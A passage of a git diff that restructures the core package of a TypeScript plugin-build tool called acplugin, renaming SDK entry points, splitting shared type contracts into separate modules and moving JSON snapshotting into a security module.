'@acplugin/core/kernel-sdk'; -import { createProject, ProjectConfigError, runProject } from '../src/project.js'; +import { definePlatform } from '@acplugin/core/integration'; +import { createProject, ProjectConfigError, runProject } from '../src/author/project.js'; /** 临时工程由 afterEach 统一删除。 */ const roots: string[] = []; diff --git a/packages/acplugin/test/sdk-boundary.test.ts b/packages/acplugin/test/sdk-boundary.test.ts index 0c2d8ea..c504c21 100644 --- a/packages/acplugin/test/sdk-boundary.test.ts +++ b/packages/acplugin/test/sdk-boundary.test.ts @@ -22,7 +22,7 @@ describe('author and SDK package boundary', () => { /** sdk 源码必须保持单一 re-export,以便 root/SDK/CLI 共享品牌实现。 */ const sdk = await readFile(`${sourceRoot}sdk.ts`, 'utf8'); - expect(sdk).toContain('export * from \'@acplugin/core/kernel-sdk\''); + expect(sdk).toContain('export * from \'@acplugin/core/integration\''); expect(sdk).not.toContain('@tokenroll/acplugin-platform-'); expect(sdk).not.toContain('@tokenroll/acplugin-extension-'); }); diff --git a/packages/core/package.json b/packages/core/package.json index a0df7f0..dea63bf 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -11,13 +11,13 @@ "types": "./dist/index.d.mts", "import": "./dist/index.mjs" }, - "./kernel-sdk": { - "types": "./dist/kernel-sdk.d.mts", - "import": "./dist/kernel-sdk.mjs" + "./integration": { + "types": "./dist/integration.d.mts", + "import": "./dist/integration.mjs" }, - "./kernel-author": { - "types": "./dist/kernel-author.d.mts", - "import": "./dist/kernel-author.mjs" + "./author": { + "types": "./dist/author.d.mts", + "import": "./dist/author.mjs" } }, "scripts": { diff --git a/packages/core/src/kernel-author.ts b/packages/core/src/api/author.ts similarity index 88% rename from packages/core/src/kernel-author.ts rename to packages/core/src/api/author.ts index a11d8cd..8aa0b3b 100644 --- a/packages/core/src/kernel-author.ts +++ b/packages/core/src/api/author.ts @@ -43,11 +43,11 @@ export type { SourceLocation, UserConfig, UserConfigExport, -} from './kernel-types.js'; +} from '../contracts/index.js'; // 作者报告 serializer 与 SDK 工具共享同一个确定性 JSON 实现。 -export { stableJson } from './serialization.js'; +export { stableJson } from '../serialization/index.js'; export { nodeRuntimeArtifactPath, nodeRuntimeLicensesArtifactPath, -} from './resources/runtime-paths.js'; +} from '../resources/runtime/paths.js'; diff --git a/packages/core/src/kernel-contracts.ts b/packages/core/src/api/definitions.ts similarity index 83% rename from packages/core/src/kernel-contracts.ts rename to packages/core/src/api/definitions.ts index 1dc11a9..cc440a8 100644 --- a/packages/core/src/kernel-contracts.ts +++ b/packages/core/src/api/definitions.ts @@ -2,12 +2,13 @@ import type { AcpluginExtension, AcpluginPlatform, ExtensionDefinition, - JsonObject, - JsonValue, PlatformCapabilities, PlatformDefinition, -} from './kernel-types.js'; -import { LIFECYCLE_API_VERSION } from './kernel-types.js'; +} from '../contracts/integrations.js'; +import type { JsonObject } from '../contracts/common.js'; +import { LIFECYCLE_API_VERSION } from '../contracts/common.js'; +import { snapshotJson } from '../security/json-snapshot.js'; +import { compareCodeUnits } from '../serialization/json.js'; /** Platform ID、Extension ID、Resource root 和 job ID 共用的稳定标识规则。 */ const STABLE_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; @@ -24,25 +25,6 @@ const platformFields = new Set(['id', 'apiVersion', 'deliveryType', 'strict', 'o /** Extension definition 唯一允许的公共字段。 */ const extensionFields = new Set(['id', 'apiVersion', 'options', 'resourceRoots', 'createSession']); -/** JSON 规范化递归调用时使用的路径与祖先记录。 */ -interface JsonNormalizationState { - readonly ancestors: Set; - readonly path: string; -} - -/** - * 按 UTF-16 code unit 比较稳定键。 - * - * @param left 左侧文本。 - * @param right 右侧文本。 - * @returns 排序比较结果。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; -} - /** * 确认对象不携带 accessor、Symbol 或不可见字段语义。 * @@ -98,61 +80,6 @@ function definitionDescriptors(value: unknown, allowed: ReadonlySet, lab return descriptors; } -/** - * 递归复制并冻结严格 JSON 值。 - * - * @param value 调用方仍可能持有的原始值。 - * @param state 当前递归祖先与字段路径。 - * @returns 与调用方身份隔离的冻结副本。 - */ -function copyJson(value: unknown, state: JsonNormalizationState): JsonValue { - if (value === null || typeof value === 'string' || typeof value === 'boolean') - return value; - if (typeof value === 'number') { - if (!Number.isFinite(value)) - throw new TypeError(`${state.path} must contain only finite JSON numbers.`); - return value; - } - if (typeof value !== 'object') - throw new TypeError(`${state.path} must contain only JSON values.`); - if (state.ancestors.has(value)) - throw new TypeError(`${state.path} must not contain cycles.`); - state.ancestors.add(value); - try { - if (Array.isArray(value)) { - /** 稀疏数组无法被无歧义地复制成 JSON。 */ - for (let index = 0; index < value.length; index += 1) { - if (!Object.prototype.hasOwnProperty.call(value, index)) - throw new TypeError(`${state.path} must not contain sparse arrays.`); - } - /** 数组不能携带 index/length 之外的隐藏字符串字段。 */ - const descriptors = dataDescriptors(value, state.path); - for (const field of Object.keys(descriptors)) { - if (field !== 'length' && !/^(?:0|[1-9][0-9]*)$/.test(field)) - throw new TypeError(`${state.path} arrays must not contain custom properties.`); - } - return Object.freeze(value.map((item, index) => copyJson(item, { - ancestors: state.ancestors, - path: `${state.path}[${index}]`, - }))); - } - assertPlainObject(value, state.path); - /** JSON 对象只读取已验证的 data descriptors,绝不触发 getter。 */ - const descriptors = dataDescriptors(value, state.path); - /** 使用普通对象确保公开 options 保持预期 JSON 对象语义。 */ - const result: Record = {}; - for (const field of Object.keys(descriptors).sort(compareCodeUnits)) { - result[field] = copyJson(descriptors[field]!.value, { - ancestors: state.ancestors, - path: `${state.path}.${field}`, - }); - } - return Object.freeze(result); - } finally { - state.ancestors.delete(value); - } -} - /** * 复制一个严格 JSON 对象。 * @@ -162,7 +89,7 @@ function copyJson(value: unknown, state: JsonNormalizationState): JsonValue { */ function copyJsonObject(value: unknown, label: string): Readonly { assertPlainObject(value, label); - return copyJson(value, { ancestors: new Set(), path: label }) as Readonly; + return snapshotJson(value, label) as Readonly; } /** diff --git a/packages/core/src/kernel-sdk.ts b/packages/core/src/api/integration.ts similarity index 93% rename from packages/core/src/kernel-sdk.ts rename to packages/core/src/api/integration.ts index 881b0f3..2e0b519 100644 --- a/packages/core/src/kernel-sdk.ts +++ b/packages/core/src/api/integration.ts @@ -3,10 +3,10 @@ export { definePlatform, isAcpluginExtension, isAcpluginPlatform, -} from './kernel-contracts.js'; +} from './definitions.js'; export { LIFECYCLE_API_VERSION, -} from './kernel-types.js'; +} from '../contracts/index.js'; export type { AcpluginExtension, AcpluginPlatform, @@ -116,11 +116,12 @@ export type { SourceLocation, SourceService, ValidatePackageContext, -} from './kernel-types.js'; +} from '../contracts/index.js'; // SDK 只导出 Integration 编写所需的纯序列化工具,不公开 Registry 或 Kernel 实现。 export { markdownWithFrontmatter, stableJson, stableYaml, -} from './serialization.js'; +} from '../serialization/index.js'; +export { snapshotJson } from '../security/json-snapshot.js'; diff --git a/packages/core/src/compiler/compiler-host.ts b/packages/core/src/compiler/compiler-service.ts similarity index 98% rename from packages/core/src/compiler/compiler-host.ts rename to packages/core/src/compiler/compiler-service.ts index c59f9f6..2eecd01 100644 --- a/packages/core/src/compiler/compiler-host.ts +++ b/packages/core/src/compiler/compiler-service.ts @@ -1,3 +1,4 @@ +/** Core 唯一 CompilerService 编排 owner-scoped Rolldown Job。 */ import { promises as fs } from 'node:fs'; import path from 'node:path'; import type { @@ -8,12 +9,12 @@ import type { CompilerService, ManagedRolldownCompileOptions, ManagedRolldownPlugin, -} from '../kernel-types.js'; -import { AssetRegistry } from '../kernel/asset-registry.js'; -import { compareCodePoints, isInsidePath, safeRelativePath } from '../kernel/path-policy.js'; -import { SourceRegistry } from '../kernel/source-registry.js'; -import { WatchRegistry, type WatchObservation } from '../kernel/watch-registry.js'; -import { WorkDirectoryRegistry } from '../kernel/work-directories.js'; +} from '../contracts/compiler.js'; +import { AssetRegistry } from '../services/assets.js'; +import { compareCodePoints, isInsidePath, safeRelativePath } from '../security/path-policy.js'; +import { SourceRegistry } from '../services/sources.js'; +import { WatchRegistry, type WatchObservation } from '../services/watch.js'; +import { WorkDirectoryRegistry } from '../services/work-directories.js'; import { auditManagedModules, auditManagedOutput, @@ -22,7 +23,7 @@ import { type AuditedModule, type EngineModuleSnapshot, type ManagedAuditScopes, -} from './managed-auditor.js'; +} from './managed/auditor.js'; import { loadManagedEngine, type EngineInputOptions, type EngineOutputOptions, type ManagedEngine } from './engine-loader.js'; import { assertStableId, @@ -32,17 +33,17 @@ import { type NormalizedEntry, type VirtualSource, } from './job-normalizer.js'; -import { managedSourceBoundaryPlugin, type ManagedPackageScope } from './managed-boundary.js'; -import { normalizeManagedInput, normalizeManagedOutput } from './managed-options.js'; -import type { NormalizedManagedInput, NormalizedManagedOutput } from './managed-options.js'; -import { auditPortableOutput, mergePortableModuleReports } from './portable-auditor.js'; +import { managedSourceBoundaryPlugin, type ManagedPackageScope } from './managed/boundary.js'; +import { normalizeManagedInput, normalizeManagedOutput } from './managed/options.js'; +import type { NormalizedManagedInput, NormalizedManagedOutput } from './managed/options.js'; +import { auditPortableOutput, mergePortableModuleReports } from './portable-node/auditor.js'; import { collectCompilerLicenses, type CompilerLicenseResult } from './license-pipeline.js'; -import { normalizePortableOptions, type NormalizedPortableOptions } from './portable-options.js'; +import { normalizePortableOptions, type NormalizedPortableOptions } from './portable-node/options.js'; import { assertPortableEntryExtension, normalizeNodeBuiltin, portableNodePolicyPlugin, -} from './portable-policy.js'; +} from './portable-node/policy.js'; /** 单个 Compiler Host 使用的 Session registries。 */ export interface CompilerHostOptions { diff --git a/packages/core/src/compiler/job-normalizer.ts b/packages/core/src/compiler/job-normalizer.ts index aa386c7..7d27f03 100644 --- a/packages/core/src/compiler/job-normalizer.ts +++ b/packages/core/src/compiler/job-normalizer.ts @@ -1,13 +1,15 @@ import { promises as fs } from 'node:fs'; import type { AssetMode, + SourceDirectoryRef, +} from '../contracts/services.js'; +import type { CompileEntry, CompileJob, CompileProfile, - SourceDirectoryRef, -} from '../kernel-types.js'; -import { compareCodePoints } from '../kernel/path-policy.js'; -import { SourceRegistry } from '../kernel/source-registry.js'; +} from '../contracts/compiler.js'; +import { compareCodePoints } from '../security/path-policy.js'; +import { SourceRegistry } from '../services/sources.js'; /** Compiler job/output/entry 共用的稳定 ID 语法。 */ const STABLE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; diff --git a/packages/core/src/compiler/license-pipeline.ts b/packages/core/src/compiler/license-pipeline.ts index c60f48a..4e8c4ce 100644 --- a/packages/core/src/compiler/license-pipeline.ts +++ b/packages/core/src/compiler/license-pipeline.ts @@ -1,9 +1,9 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; import parseSpdxExpression from 'spdx-expression-parse'; -import { compareCodePoints } from '../kernel/path-policy.js'; -import type { AuditedModule } from './managed-auditor.js'; -import type { ManagedPackageScope } from './managed-boundary.js'; +import { compareCodePoints } from '../security/path-policy.js'; +import type { AuditedModule } from './managed/auditor.js'; +import type { ManagedPackageScope } from './managed/boundary.js'; /** 单个法律材料文件的固定读取上限。 */ const MAX_LEGAL_FILE_BYTES = 4 * 1024 * 1024; diff --git a/packages/core/src/compiler/managed-auditor.ts b/packages/core/src/compiler/managed/auditor.ts similarity index 97% rename from packages/core/src/compiler/managed-auditor.ts rename to packages/core/src/compiler/managed/auditor.ts index 4df6466..26dee59 100644 --- a/packages/core/src/compiler/managed-auditor.ts +++ b/packages/core/src/compiler/managed/auditor.ts @@ -1,13 +1,14 @@ +/** managed-rolldown 输出和模块图审计。 */ import { promises as fs } from 'node:fs'; import path from 'node:path'; import type { CompileModuleReport, ManagedRolldownCompileOptions, -} from '../kernel-types.js'; -import { compareCodePoints, isInsidePath, safeRelativePath } from '../kernel/path-policy.js'; -import type { EngineOutput } from './engine-loader.js'; -import type { ManagedPackageScope } from './managed-boundary.js'; -import { assertNoPhysicalPathBytes } from './physical-path-auditor.js'; +} from '../../contracts/compiler.js'; +import { compareCodePoints, isInsidePath, safeRelativePath } from '../../security/path-policy.js'; +import type { EngineOutput } from '../engine-loader.js'; +import type { ManagedPackageScope } from './boundary.js'; +import { assertNoPhysicalPathBytes } from '../physical-path-auditor.js'; /** Core 从 Rolldown ModuleInfo 仅采样的审计字段。 */ export interface EngineModuleSnapshot { diff --git a/packages/core/src/compiler/managed-boundary.ts b/packages/core/src/compiler/managed/boundary.ts similarity index 97% rename from packages/core/src/compiler/managed-boundary.ts rename to packages/core/src/compiler/managed/boundary.ts index eec8a10..d753713 100644 --- a/packages/core/src/compiler/managed-boundary.ts +++ b/packages/core/src/compiler/managed/boundary.ts @@ -1,7 +1,8 @@ +/** managed-rolldown Plugin capability 边界。 */ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { ManagedRolldownPlugin } from '../kernel-types.js'; -import { isInsidePath } from '../kernel/path-policy.js'; +import type { ManagedRolldownPlugin } from '../../contracts/compiler.js'; +import { isInsidePath } from '../../security/path-policy.js'; /** 由正常 bare import 解析证明的 package 边界。 */ export interface ManagedPackageScope { diff --git a/packages/core/src/compiler/managed-options.ts b/packages/core/src/compiler/managed/options.ts similarity index 98% rename from packages/core/src/compiler/managed-options.ts rename to packages/core/src/compiler/managed/options.ts index 4bcac46..a828358 100644 --- a/packages/core/src/compiler/managed-options.ts +++ b/packages/core/src/compiler/managed/options.ts @@ -1,8 +1,9 @@ +/** managed-rolldown options 的严格数据规范化。 */ import type { EngineInputOptions, EngineOutputOptions, EnginePlugin, -} from './engine-loader.js'; +} from '../engine-loader.js'; /** Rolldown 1.2.2 中 managed Profile 显式支持的 input 字段。 */ const INPUT_FIELDS = new Set([ @@ -424,7 +425,7 @@ function snapshotPlugin(value: unknown, label: string): EnginePlugin { export interface NormalizedManagedInput { readonly options: EngineInputOptions; readonly plugins: readonly EnginePlugin[]; - readonly tsconfig?: false | import('../kernel-types.js').SourceFileRef; + readonly tsconfig?: false | import('../../contracts/services.js').SourceFileRef; } /** 快照后的 Rolldown output options 与已展平 Plugin。 */ @@ -484,7 +485,7 @@ export async function normalizeManagedInput(input: unknown): Promise name.replace(/^node:/u, ''))); diff --git a/packages/core/src/kernel/config-resolver.ts b/packages/core/src/config/resolver.ts similarity index 98% rename from packages/core/src/kernel/config-resolver.ts rename to packages/core/src/config/resolver.ts index 9c0b768..95a8f1d 100644 --- a/packages/core/src/kernel/config-resolver.ts +++ b/packages/core/src/config/resolver.ts @@ -4,17 +4,19 @@ import parseSpdxExpression from 'spdx-expression-parse'; import type { AcpluginExtension, AcpluginPlatform, +} from '../contracts/integrations.js'; +import type { BuildMode, ConfigCommand, PluginAuthor, PluginMetadata, - PortableNodeCompileOptions, PublicCopyRule, -} from '../kernel-types.js'; -import { isAcpluginExtension, isAcpluginPlatform } from '../kernel-contracts.js'; -import { normalizePortableOptions } from '../compiler/portable-options.js'; -import { DiagnosticRegistry } from './diagnostic-registry.js'; -import { isInsidePath, safeRelativePath } from './path-policy.js'; +} from '../contracts/config.js'; +import type { PortableNodeCompileOptions } from '../contracts/compiler.js'; +import { isAcpluginExtension, isAcpluginPlatform } from '../api/definitions.js'; +import { normalizePortableOptions } from '../compiler/portable-node/options.js'; +import { DiagnosticRegistry } from '../services/diagnostics.js'; +import { isInsidePath, safeRelativePath } from '../security/path-policy.js'; /** Kernel 使用的绝对路径 Public copy rule。 */ export interface ResolvedPublicCopyRule extends PublicCopyRule { @@ -410,7 +412,7 @@ export function resolveKernelConfig( readonly command: ConfigCommand; readonly mode: BuildMode; }, -): { readonly config?: ResolvedKernelConfig; readonly diagnostics: readonly import('../kernel-types.js').Diagnostic[] } { +): { readonly config?: ResolvedKernelConfig; readonly diagnostics: readonly import('../contracts/reports.js').Diagnostic[] } { /** 所有配置错误集中到同一稳定 Registry 后一次返回。 */ const diagnostics = new DiagnosticRegistry(); /** 工程根由 Project 层固定,不能退化为 config 所在目录。 */ diff --git a/packages/core/src/contracts/common.ts b/packages/core/src/contracts/common.ts new file mode 100644 index 0000000..13f48e6 --- /dev/null +++ b/packages/core/src/contracts/common.ts @@ -0,0 +1,19 @@ +/** Platform 与 Extension 共同使用且在本轮重写中保持不变的生命周期 API 版本。 */ +export const LIFECYCLE_API_VERSION = '1' as const; + +/** 同步值或 PromiseLike 值。 */ +export type Awaitable = T | PromiseLike; + +/** JSON 标量。 */ +export type JsonPrimitive = string | number | boolean | null; + +/** 可由 Core 复制、验证并冻结的 JSON 对象。 */ +export interface JsonObject { + readonly [key: string]: JsonValue; +} + +/** 可由 Core 确定性处理的 JSON 值。 */ +export type JsonValue = JsonPrimitive | readonly JsonValue[] | JsonObject; + +/** Document 中不可歧义的非空字段路径。 */ +export type DocumentFieldPath = readonly [string, ...string[]]; diff --git a/packages/core/src/contracts/compiler.ts b/packages/core/src/contracts/compiler.ts new file mode 100644 index 0000000..37a5fd4 --- /dev/null +++ b/packages/core/src/contracts/compiler.ts @@ -0,0 +1,158 @@ +import type { + InputOptions, + OutputOptions, + Plugin, +} from 'rolldown'; +import type { + AssetMode, + GeneratedAssetRef, + SourceDirectoryRef, + SourceFileRef, +} from './services.js'; + +/** portable-node 允许作者调整的只读字段。 */ +type PortableReadonlyField = T extends readonly (infer E)[] ? readonly E[] : T; + +/** 从精确 Engine 类型派生只读 JSON 参数子集。 */ +type PortableOptionSubset = Readonly<{ + [P in K]?: PortableReadonlyField>; +}>; + +/** portable-node 允许作者调整的解析参数。 */ +export type PortableNodeResolveOptions = PortableOptionSubset< + NonNullable, + 'conditionNames' | 'extensions' | 'mainFields' | 'mainFiles' +>; + +/** portable-node 允许作者调整的转换参数。 */ +export type PortableNodeTransformOptions = PortableOptionSubset< + NonNullable, + 'define' | 'dropLabels' +> & { + readonly jsx?: false | 'react' | 'react-jsx' | 'preserve'; +}; + +/** 固定 Node 20 ESM contract 内可复用的纯 JSON 编译参数。 */ +export interface PortableNodeCompileOptions { + readonly resolve?: PortableNodeResolveOptions; + readonly transform?: PortableNodeTransformOptions; + readonly treeshake?: Extract; +} + +/** Compiler Job 的来源或虚拟入口。 */ +export type CompileEntry = { + readonly type: 'source'; + readonly source: SourceFileRef; + readonly mode?: AssetMode; +} | { + readonly type: 'virtual'; + readonly code: string; + readonly resolveFrom: SourceDirectoryRef; + readonly mode?: AssetMode; +}; + +/** Core 支持的两个编译 Profile。 */ +export type CompileProfile = 'portable-node' | 'managed-rolldown'; + +/** managed Profile 禁止接受但不执行的写入和 Watch Plugin Hook。 */ +export type ForbiddenManagedPluginHook = 'writeBundle' | 'watchChange' | 'closeWatcher'; + +/** managed Profile 可调用的 Rolldown Plugin。 */ +export type ManagedRolldownPlugin = Omit; + +/** Rolldown 风格的递归 Plugin option。 */ +export type ManagedRolldownPluginOption = ManagedRolldownPlugin + | { readonly name: string } + | false + | null + | undefined + | PromiseLike + | readonly ManagedRolldownPluginOption[]; + +/** Core 从 managed input options 中接管的字段。 */ +type CoreOwnedManagedInputOption = 'input' | 'cwd' | 'plugins' | 'logLevel' | 'onwarn' | 'watch' | 'devtools' | 'output' | 'tsconfig'; + +/** trusted integration 可使用的 Rolldown input 能力。 */ +export type ManagedRolldownInputOptions = Omit & { + readonly plugins?: ManagedRolldownPluginOption; + readonly tsconfig?: false | SourceFileRef; +}; + +/** trusted integration 可使用的 Rolldown output 能力。 */ +export type ManagedRolldownOutputOptions = Omit & { + readonly plugins?: ManagedRolldownPluginOption; +}; + +/** managed Profile 的输出与审计策略。 */ +export interface ManagedRolldownCompileOptions { + readonly inputOptions?: ManagedRolldownInputOptions; + readonly outputs: readonly { readonly id: string; readonly options: ManagedRolldownOutputOptions }[]; + readonly policy?: { + readonly deterministic?: boolean; + readonly licenses?: 'strict' | 'ignore'; + readonly nativeAddons?: 'reject' | 'allow'; + readonly unresolvedImports?: 'reject' | 'allow'; + }; +} + +/** 编译 Profile 与其参数的唯一映射。 */ +export interface CompileOptionsMap { + readonly 'portable-node': PortableNodeCompileOptions; + readonly 'managed-rolldown': ManagedRolldownCompileOptions; +} + +/** 指定 Profile 的编译参数。 */ +export type CompileOptions

= CompileOptionsMap[P]; + +/** 与当前所有者能力绑定的 Compiler Job。 */ +export interface CompileJob

{ + readonly id: string; + readonly profile: P; + readonly entries: Readonly>; + readonly sourceScopes?: readonly SourceDirectoryRef[]; + readonly virtualModules?: Readonly>; + readonly options?: CompileOptions

; +} + +/** Compiler 输出的受管文件。 */ +export interface CompileOutputFile { + readonly type: 'chunk' | 'asset' | 'licenses'; + readonly outputId: string; + readonly fileName: string; + readonly entryId?: string; + readonly isEntry: boolean; + readonly asset: GeneratedAssetRef; +} + +/** 脱敏后的 Compiler 模块图节点。 */ +export interface CompileModuleReport { + readonly id: string; + readonly kind: 'source' | 'virtual' | 'package'; + readonly inputs: readonly string[]; + readonly importedBy: readonly string[]; +} + +/** Compiler Host 的稳定结果。 */ +export interface CompileResult

{ + readonly job: string; + readonly profile: P; + readonly engine: { readonly name: 'rolldown'; readonly version: string }; + readonly outputs: readonly CompileOutputFile[]; + readonly modules: readonly CompileModuleReport[]; +} + +/** owner-scoped Compiler Host 能力。 */ +export interface CompilerService { + readonly engine: { readonly name: 'rolldown'; readonly version: string }; + /** 通过 Core 唯一 Compiler Host 执行 owner-scoped Job。 */ + compile

(job: CompileJob

): Promise>; +} + +/** Compiler Host 向 Asset Registry 提交的结构化生成来源。 */ +export interface CompileAssetOriginInput { + readonly job: string; + readonly output: string; + readonly profile: CompileProfile; + readonly kind: CompileOutputFile['type']; + readonly inputs: readonly string[]; +} diff --git a/packages/core/src/contracts/components.ts b/packages/core/src/contracts/components.ts new file mode 100644 index 0000000..7dc5d1c --- /dev/null +++ b/packages/core/src/contracts/components.ts @@ -0,0 +1,97 @@ +import type { JsonObject } from './common.js'; +import type { + NodeRuntimeEntryKind, + PluginMetadata, +} from './config.js'; +import type { PortableNodeCompileOptions } from './compiler.js'; +import type { + DiagnosticService, + SourceAssetRef, + SourceFileRef, +} from './services.js'; + +/** 规范 Component 的依赖引用。 */ +export interface ComponentRequires { + readonly skills: readonly string[]; + readonly agents: readonly string[]; +} + +/** Component 正文在安全工程相对路径中的位置。 */ +export interface ComponentLocation { + readonly path: string; + readonly bodyLine: number; +} + +/** 规范 Command。 */ +export interface CommandComponent { + readonly kind: 'command'; + readonly id: string; + readonly description: string; + readonly argumentHint?: string; + readonly body: string; + readonly location: ComponentLocation; + readonly requires: ComponentRequires; + readonly platforms: Readonly>>; +} + +/** 规范 Skill。 */ +export interface SkillComponent { + readonly kind: 'skill'; + readonly id: string; + readonly description: string; + readonly invocation: { readonly user: boolean; readonly model: boolean }; + readonly body: string; + readonly location: ComponentLocation; + readonly requires: ComponentRequires; + readonly platforms: Readonly>>; + readonly auxiliaryFiles: readonly { readonly path: string; readonly asset: SourceAssetRef }[]; +} + +/** Agent 需要的平台中立工具能力。 */ +export type AgentCapability = 'filesystem:read' | 'filesystem:write' | 'search' | 'shell' | 'network' | 'delegate'; + +/** Agent 的平台中立模型级别。 */ +export type AgentModel = 'inherit' | 'fast' | 'capable'; + +/** 规范 Agent。 */ +export interface AgentComponent { + readonly kind: 'agent'; + readonly id: string; + readonly description: string; + readonly model: AgentModel; + readonly capabilities: readonly AgentCapability[]; + readonly body: string; + readonly location: ComponentLocation; + readonly requires: ComponentRequires; + readonly platforms: Readonly>>; +} + +/** Public Provider 发现的资源。 */ +export interface PublicResourceFile { + readonly path: string; + readonly asset: SourceAssetRef; +} + +/** 内建 Runtime Provider 发现的规范入口集合。 */ +export interface NodeRuntimeResource { + readonly target: 'node20'; + readonly entries: readonly { readonly id: string; readonly kind: NodeRuntimeEntryKind; readonly source: SourceFileRef }[]; + readonly compile?: PortableNodeCompileOptions; +} + +/** Scanner 完成验证后的规范工程图。 */ +export interface CanonicalProject { + readonly metadata: PluginMetadata; + readonly commands: readonly CommandComponent[]; + readonly skills: readonly SkillComponent[]; + readonly agents: readonly AgentComponent[]; + readonly publicFiles: readonly PublicResourceFile[]; + readonly runtime?: NodeRuntimeResource; +} + +/** Platform 的 Component 专属字段验证上下文。 */ +export interface PlatformComponentValidationContext { + readonly project: CanonicalProject; + readonly component: CommandComponent | SkillComponent | AgentComponent; + readonly diagnostics: DiagnosticService; +} diff --git a/packages/core/src/contracts/config.ts b/packages/core/src/contracts/config.ts new file mode 100644 index 0000000..c68d36a --- /dev/null +++ b/packages/core/src/contracts/config.ts @@ -0,0 +1,99 @@ +import type { Awaitable } from './common.js'; +import type { PortableNodeCompileOptions } from './compiler.js'; +import type { AcpluginExtension, AcpluginPlatform } from './integrations.js'; + +/** 配置与 BuildSession 支持的命令。 */ +export type ConfigCommand = 'dev' | 'validate' | 'inspect' | 'build'; + +/** 构建执行模式。 */ +export type BuildMode = 'development' | 'production'; + +/** 函数式配置唯一可观察的执行环境。 */ +export interface ConfigEnvironment { + readonly command: ConfigCommand; + readonly mode: BuildMode; +} + +/** Plugin 作者元数据。 */ +export interface PluginAuthor { + readonly name: string; + readonly email?: string; + readonly url?: string; +} + +/** 规范化后的 Plugin 元数据。 */ +export interface PluginMetadata { + readonly name: string; + readonly version: string; + readonly description: string; + readonly displayName?: string; + readonly author?: PluginAuthor; + readonly homepage?: string; + readonly repository?: string; + readonly license?: string; + readonly keywords: readonly string[]; +} + +/** Public 目录中的一条显式来源映射。 */ +export interface PublicCopyRule { + readonly from: string; + readonly to: string; +} + +/** Public 资源的关闭、简写或精确映射配置。 */ +export type PublicConfig = false | string | { + readonly dir?: string; + readonly copy?: readonly PublicCopyRule[]; +}; + +/** Node Runtime 入口的执行意图。 */ +export type NodeRuntimeEntryKind = 'executable' | 'module'; + +/** 作者显式配置的 Node Runtime 入口。 */ +export interface NodeRuntimeEntryInput { + readonly entry: string; + readonly kind?: NodeRuntimeEntryKind; +} + +/** 内建 Node Runtime Resource 的作者配置。 */ +export interface NodeRuntimeConfig { + readonly target?: 'node20'; + readonly entries?: Readonly>; + readonly compile?: PortableNodeCompileOptions; +} + +/** 构建输出和全局兼容性策略。 */ +export interface BuildConfig { + readonly outDir?: string; + readonly strict?: boolean; +} + +/** acplugin.config.ts 的最终作者配置。 */ +export interface UserConfig { + readonly name: string; + readonly version: string; + readonly description: string; + readonly displayName?: string; + readonly author?: PluginAuthor; + readonly homepage?: string; + readonly repository?: string; + readonly license?: string; + readonly keywords?: readonly string[]; + readonly srcDir?: string; + readonly public?: PublicConfig; + readonly runtime?: false | NodeRuntimeConfig; + readonly platforms: readonly AcpluginPlatform[]; + readonly extensions?: readonly AcpluginExtension[]; + readonly build?: BuildConfig; +} + +/** 配置文件允许导出的静态对象或函数。 */ +export type UserConfigExport = UserConfig | ((environment: Readonly) => Awaitable); + +/** 不包含工程路径的已解析配置摘要。 */ +export interface ResolvedConfigSummary { + readonly metadata: Readonly; + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly strict: boolean; +} diff --git a/packages/core/src/contracts/index.ts b/packages/core/src/contracts/index.ts new file mode 100644 index 0000000..bbdb2b6 --- /dev/null +++ b/packages/core/src/contracts/index.ts @@ -0,0 +1,9 @@ +export * from './common.js'; +export * from './config.js'; +export * from './components.js'; +export * from './integrations.js'; +export * from './services.js'; +export * from './compiler.js'; +export * from './packages.js'; +export * from './reports.js'; +export * from './project.js'; diff --git a/packages/core/src/contracts/integrations.ts b/packages/core/src/contracts/integrations.ts new file mode 100644 index 0000000..7cf1e23 --- /dev/null +++ b/packages/core/src/contracts/integrations.ts @@ -0,0 +1,268 @@ +import { + LIFECYCLE_API_VERSION, + type Awaitable, + type DocumentFieldPath, + type JsonObject, + type JsonValue, +} from './common.js'; +import type { + BuildMode, + ConfigCommand, + ResolvedConfigSummary, +} from './config.js'; +import type { + CanonicalProject, + PlatformComponentValidationContext, +} from './components.js'; +import type { CompilerService } from './compiler.js'; +import type { + CreatePackageContext, + DistributionContext, + DistributionPackageInput, + FinalizePackageContext, + PackageAssetInput, + PlatformBasePackageSnapshot, + PlatformPackageInput, + PrimaryPackageInput, + ValidatePackageContext, +} from './packages.js'; +import type { + AssetService, + DiagnosticService, + ExecutionService, + ModuleService, + SourceDirectoryRef, + SourceService, +} from './services.js'; + +/** Platform 声明的稳定 Plugin-local Node Runtime 能力。 */ +export type NodeRuntimeCapability = Readonly<{ + target: 'node20'; + format: 'esm'; + root: 'plugin'; +}>; + +/** Platform 供 Framework 和 Extension 协商的只读能力数据。 */ +export type PlatformCapabilities = Readonly<{ + nodeRuntime?: NodeRuntimeCapability; + readonly [capability: string]: JsonValue | NodeRuntimeCapability | undefined; +}>; + +/** Platform 主交付的安装形态。 */ +export type PlatformDeliveryType = 'plugin' | 'workspace' | 'package'; + +/** 仅用于 TypeScript 名义类型的 Platform 品牌,不参与运行时授权。 */ +declare const platformDefinitionTypeBrand: unique symbol; + +/** 仅用于 TypeScript 名义类型的 Extension 品牌,不参与运行时授权。 */ +declare const extensionDefinitionTypeBrand: unique symbol; + +/** 作者配置中可安装的 Platform 定义。 */ +export interface PlatformDefinition { + readonly id: string; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; + readonly deliveryType: PlatformDeliveryType; + readonly strict?: boolean; + readonly options?: O; + readonly capabilities?: PlatformCapabilities; + /** 为当前 BuildSession 创建隔离的平台生命周期状态。 */ + createSession(context: PlatformSetupContext): Awaitable; +} + +/** 经过工厂校验、复制、品牌化和冻结的 Platform。 */ +export interface AcpluginPlatform extends PlatformDefinition { + readonly [platformDefinitionTypeBrand]: true; +} + +/** Extension 验证后声明的兼容性覆盖主题。 */ +export interface ExtensionSubject { + readonly subject: string; + readonly capabilities: readonly string[]; +} + +/** Extension validate 阶段的状态与覆盖声明。 */ +export interface ExtensionValidationOutput { + readonly state: Readonly; + readonly subjects: readonly 